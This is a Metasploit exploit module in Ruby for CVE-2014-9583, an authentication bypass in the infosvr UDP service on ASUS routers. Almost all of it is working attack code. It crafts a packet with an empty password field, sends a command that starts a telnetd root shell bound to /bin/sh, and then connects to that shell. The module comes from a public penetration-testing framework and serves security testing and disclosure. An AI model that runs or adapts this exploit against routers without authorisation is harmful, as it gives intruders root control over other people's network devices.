##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ASUS infosvr Auth Bypass Command Execution',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability in the
          infosvr service running on UDP port 9999 on various ASUS routers to
          execute arbitrary commands as root.

          This module launches the BusyBox Telnet daemon on the port specified
          in the TelnetPort option to gain an interactive remote shell.

          This module was tested successfully on an ASUS RT-N12E with firmware
          version 2.0.0.35.

          Numerous ASUS models are reportedly affected, but untested.
        },
        'Author' => [
          'Friedrich Postelstorfer', # Initial public disclosure and Python exploit
          'jduck', # Independent discovery and C exploit
          'bcoles' # Metasploit
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'unix',
        'References' => [
          ['CVE', '2014-9583'],
          ['EDB', '35688'],
          ['URL', 'https://github.com/jduck/asus-cmd']
        ],
        'DisclosureDate' => '2015-01-04',
        'Privileged' => true,
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Compat' => {
            'PayloadType' => 'cmd_interact',
            'ConnectionType' => 'find'
          }
        },
        'Targets' => [['Automatic', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options [
      Opt::RPORT(9999),
      OptInt.new('TelnetPort', [true, 'The port for Telnetd to bind', 4444]),
      OptInt.new('TelnetTimeout', [true, 'The number of seconds to wait for connection to telnet', 10]),
      OptInt.new('TelnetBannerTimeout', [true, 'The number of seconds to wait for the telnet banner', 25])
    ]
    register_advanced_options [
      # If the session is killed (CTRL+C) rather than exiting cleanly,
      # the telnet port remains open, but is unresponsive, and prevents
      # re-exploitation until the device is rebooted.
      OptString.new('CommandShellCleanupCommand', [true, 'A command to run before the session is closed', 'exit'])
    ]
  end

  def telnet_timeout
    (datastore['TelnetTimeout'] || 10)
  end

  def telnet_port
    datastore['TelnetPort']
  end

  def request(cmd)
    pkt = ''
    # ServiceID   [byte]      ; NET_SERVICE_ID_IBOX_INFO
    pkt << "\x0C"
    # PacketType  [byte]      ; NET_PACKET_TYPE_CMD
    pkt << "\x15"
    # OpCode      [word]      ; NET_CMD_ID_MANU_CMD
    pkt << "\x33\x00"
    # Info        [dword]     ; Comment: "Or Transaction ID"
    pkt << Rex::Text.rand_text_alphanumeric(4)
    # MacAddress  [byte[6]]   ; Double-wrongly "checked" with memcpy instead of memcmp
    pkt << Rex::Text.rand_text_alphanumeric(6)
    # Password    [byte[32]]  ; Not checked at all
    pkt << "\x00" * 32
    # Command Length + \x00 + Command padded to 512 bytes
    pkt << ([cmd.length].pack('C') + "\x00" + cmd).ljust((512 - pkt.length), "\x00")
  end

  def exploit
    connect_udp
    print_status "#{rhost} - Starting telnetd on port #{telnet_port}..."
    udp_sock.put request "telnetd -l /bin/sh -p #{telnet_port}"
    disconnect_udp

    vprint_status "#{rhost} - Waiting for telnet service to start on port #{telnet_port}..."
    Rex.sleep 3

    vprint_status "#{rhost} - Connecting to #{rhost}:#{telnet_port}..."

    sock = Rex::Socket.create_tcp 'PeerHost' => rhost,
                                  'PeerPort' => telnet_port,
                                  'Context' => { 'Msf' => framework, 'MsfExploit' => self },
                                  'Timeout' => telnet_timeout

    if sock.nil?
      fail_with Failure::Unreachable, "Telnet service unreachable on port #{telnet_port}"
    end

    vprint_status "#{rhost} - Trying to establish a telnet session..."

    prompt = negotiate_telnet sock
    if prompt.nil?
      sock.close
      fail_with Failure::Unknown, 'Unable to establish a telnet session'
    end

    print_good "#{rhost} - Telnet session successfully established..."

    handler sock
  end

  def negotiate_telnet(sock)
    prompt = '#'
    Timeout.timeout(datastore['TelnetBannerTimeout']) do
      while true
        data = sock.get_once(-1, telnet_timeout)
        if !data or data.length == 0
          return nil
        elsif data.include? prompt
          return true
        end
      end
    end
  rescue ::Timeout::Error
    return nil
  end
end
